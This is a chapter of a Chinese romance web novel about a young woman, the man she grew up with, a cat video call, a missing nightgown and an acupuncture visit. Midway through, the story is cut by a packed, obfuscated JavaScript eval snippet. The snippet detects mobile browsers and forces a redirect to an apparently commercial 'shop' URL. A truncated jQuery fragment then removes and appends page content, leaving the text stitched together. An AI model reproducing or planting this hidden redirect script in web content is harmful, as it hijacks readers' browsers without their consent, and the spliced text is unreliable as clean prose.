大概是被说了坏话,很通人性的小猫用猫猫拳来表示不满,粉嫩的小猫爪开花去推容景深的胳膊。
阮愿星靠在沈执川耳边小声说:“满满好像胖了不少。”
他揽着她的腰,温热的手掌陷在腰间的皮肤中,帮助她用翘起一只脚的姿势保持平衡。
声音温柔:“是胖了些。”
“何止是胖了。”容景深伸出手指挠了挠满满的下巴,“再待下去,我这点工资要被它吃完了。”
满满“咕噜”打呼噜,暂时放弃了对地上散落文件的“围剿”。
沈执川感受到身后阮愿星因为忍笑细微的颤动,唇角弧度更深。
但对容景深开口,语气平淡:“过几天就去接它。”
只是这“几天”到底是多少天,说不准。
“赶紧的。”他慢悠悠说,视线不经意间扫过沈执川身后只露出一点点发顶,眼睛亮晶晶的阮愿星。
“妹妹……挺可爱的。”
他微拉长声音,不显轻佻,竟算得上真诚。
阮愿星红了耳根,下意识想将整个人都藏在沈执川身后。
沈执川身体几不可查地僵了下,随即姿势近乎护食的狗,稍稍调整了坐姿,将阮愿星挡得更严实。
“看猫就看猫。”他蹙眉,语气浸进冰里一样冷。
他清楚,容景深只是在调侃他,可还是……不爽,他的私藏不需要旁人不怀好意的夸耀。
容景深无奈弯起唇角,尽职尽责当现场直播的摄像头,镜头追着又将爪子伸向玩具的满满。
阮愿星的注意力很快被满满的动作吸引,小猫憨态可掬地用捕猎的姿势看向滚动的小球。
她有些急,小声说:“小球,推一下呀。”
她的声音顺着手机传过去,满满似乎真的听懂了,扑向地上滚动的彩色绒球。
画面像一幅生动有趣的画。
沈执川低头,看到她专注的侧脸和微微上扬的唇角。
那双总是带着怯意的眸子,此刻像点亮了一片闪烁的星河,盛满纯粹的喜悦。
这一刻宁静又温馨,虽然有容景深这位不会读空气的电灯泡。
但他的心还是像是被柔软的羽毛轻轻拂过,一种饱胀至极的满足感充盈着。
如果时间能停留就好了,只有她和他,还有一只能让她如此开心的小猫——只是在屏幕对面哄她,不会真的出现抢占他在她心中的空间。
视频通话持续到半小时时,满满看着像玩累了,揣着小爪在地上打盹,小脑袋一点一点的。
容景深摸了一把小猫的头,惹得它不快,冲他哈了一口气。
“好了,不打扰你们了,小祖宗要睡觉了。”他耸耸肩。
“谢谢容先生帮忙照看满满。”
阮愿星很体面礼貌地道谢,经过半小时的相处,她能看出他对满满是真的喜爱的。
沈执川脸又冷了一瞬,笑着摸摸她的头。
“不用和他道谢,他很高兴的。”
容景深扁了扁嘴:“好了好了,是我打扰你和妹妹贴贴了,接猫提前说。”
他和颜悦色地对阮愿星笑:“不用谢我,满满很可爱。”
随后挂断了电话。
客厅里瞬间安静下来,只剩下空调细微的风声。
阮愿星还维持着半靠在沈执川背上的姿势,脸颊因为刚才的互动,兴奋得泛着浅淡的红晕。
“满满被照顾得很好。”
“嗯。”沈执川回,并不敷衍,可忍不住分神。
她还靠着,能感受到她清浅的呼吸拂过他的薄衬衫,轻轻搔动后背的皮肤。
带来一阵很细微的痒意。
“你什么时候去接满满呀?”阮愿星逐渐离开了他的身边,往后坐了坐。
沈执川偏过头来看她,心中升起轻微的不舍,他没有任何表露。
他不知阮愿星这句话是单纯为了问满满,还是在……试探他什么时候离开c市。
他抬手,极其自然整理了下阮愿星有些凌乱的发丝,别到耳后。
不经意擦过她敏/感的耳廓,那方柔软的皮肤刚刚下去的温度又有回升的趋势。
他知道,所谓来c市处理工作、偶遇、借宿,都是不攻自破的借口,她定然早就已经察觉了。
“再过段时间……还是有些事情要处理。”
他缓缓开口,又整理了下她松散的浴巾。
过段时间。
阮愿星自己整理了一下浴巾,还是觉得太热了,她想回去换上有胸垫的睡裙。
听到这句话,顿了下动作。
后知后觉,她反应过来,他们现在的状态像是……同居。
虽然自小就和沈执川住在一起,沈家父母有时工作繁忙,就只有他们两个人在家。
可那时……总归多了一个兄妹的名分。
阮愿星张了张唇,逃似的遛进房间换上了睡裙。
-
她日常穿棉质睡衣更多,这件睡裙还是在国外实体店买的,价格不算便宜。
那时她看了一部漫画,忽然也想像漫画里的女主一样,试着成熟一下。
但买只是买了,就像她有时也会买可爱的lolita,就放在衣柜里,不会穿出门,缺钱时就万分不舍地挂在二手网站出掉。
睡裙买完,她日日穿着幼稚可爱的棉质睡衣,她有好几套,印着兔子、仓鼠、海豚的,都有。
只记得睡裙有个小深v,将身材勾勒出完美的曲线。
现在穿上,对着镜子看看,雪白的皮肤有些晃眼,裙子下摆只到一半大腿,动作稍大点就……
一个人时穿当然还好,万分自由舒服了,还很凉快。
“星星,换好了吗?”
她不知道沈执川叫她做什么,但心中还是慌了。
阮愿星红着脸颊,胡乱团成一团脱掉,再次换上了她的幼稚睡衣,仓鼠正在她的上衣心口处啃食坚果。
长发往前披,可以遮住某些令人尴尬的风情。
-
因为是急性发作,转天就需要继续去针灸。
阮愿星反复说她没关系,但沈执川还是要跟着一起,她再开口,对方就会露出一副被雨淋湿的狗狗般的可怜神情。
她只好同意。
回房翻找出门的衣服时,她却发现昨天随手团起来仍在床脚的真丝睡裙不见了。
她愣住看了一会,迷茫地眨眨眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685561|188804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她……应该没有记错,就随手扔在了那里。
她露出个小脑袋,看沈执川收拾出门的物品。
纸巾、小风扇、灌满温水的水杯、小皮筋……像带着孩子去春游的家长。
“怎么了?”他抬头去问,坦然从容,没有丝毫心虚。
尤其是目光,看起来温软又纯净。
她刚刚还一瞬间怀疑过沈执川。
阮愿星有点不好意思地摇摇头,又像小蜗牛缩回壳里去找衣裙。
他又不缺卖出去的钱,拿她的睡裙有什么用呢。
想来是她不知道放在哪了,昨晚记错了。
有时间再找一找,毕竟价格不便宜,大几十欧元。
-
站在杏林堂前,沈执川伸手推开门,护着她进去。
为了保证效果,还是去找了之前那位老先生,询问了导诊女士,他还是在徒弟办公室坐诊。
今天比昨天火爆太多,诊室门前坐满了人。
一位老人嗓门大,阮愿星听得很清楚。
“就是为了汪大夫来的,我坐了一小时的车呢。”
汪是那位老先生的姓,昨天离开前,她听到他和一位年轻医生聊天,对面尊称他为“汪老师”。
看来要好等了。
他们刚找地方坐下,汪大夫的徒弟回来了。
他迈步速度很快,带着医生特有的匆忙,路过阮愿星,卷起一阵风。
他坐在旁边的空诊室,导诊帮忙贴上了牌子:邱嘉驰。
阮愿星抬眼扫了一眼,一波人跟着往那边排了,这边人少了很多。
那位邱医生,看上去很年轻,怪不得汪大夫会想着把他们凑一起。
虽然邱医生大概不认识她,但她还是有种莫名的尴尬。
终于排到她时,已经过了一个多小时,她正靠在沈执川肩膀上昏昏欲睡。
汪大夫标志性姿势,往后一靠,半抱着双臂。
见她进来,身后还跟着个高大俊朗的年轻男性,他眸光渐渐暗了。
“小姑娘真有男朋友啊。”他伸手,“坐吧。”
阮愿星拘谨坐下,沈执川站在她身后,听到他这句话,两个人皆是一震。
正所谓说一次慌,就需要用无数个慌去圆,面对沈执川疑惑的目光,她也只能硬着头皮说了句“是呀”。
她伸出手腕给汪大夫检查,对方叹口气。
“不错,长得又高,五官还周正,确实是很配的两个年轻人。”
沈执川莞尔:“多谢您。”
阮愿星对他这种对号入座有些无言以对,只好低着头沉默。
“算是压下来了,但还需要一段时间治疗。”
汪大夫站起身:“过来吧,我去拿东西。”他指了指诊疗床。
经过沈执川身边,他轻拍了拍沈执川的手臂。
“女朋友挺怕针的?”他笑,“哄着一点,别让女孩子一个人害怕。”
他声音不算太小,诊室外听不见,阮愿星听得很清楚。
忍不住红了耳根,她还放在桌子上的手臂轻蜷了起来。
像合上两片贝壳的扇贝,说不清是因为被发现成年人还害怕针,还是因为那句“女朋友”。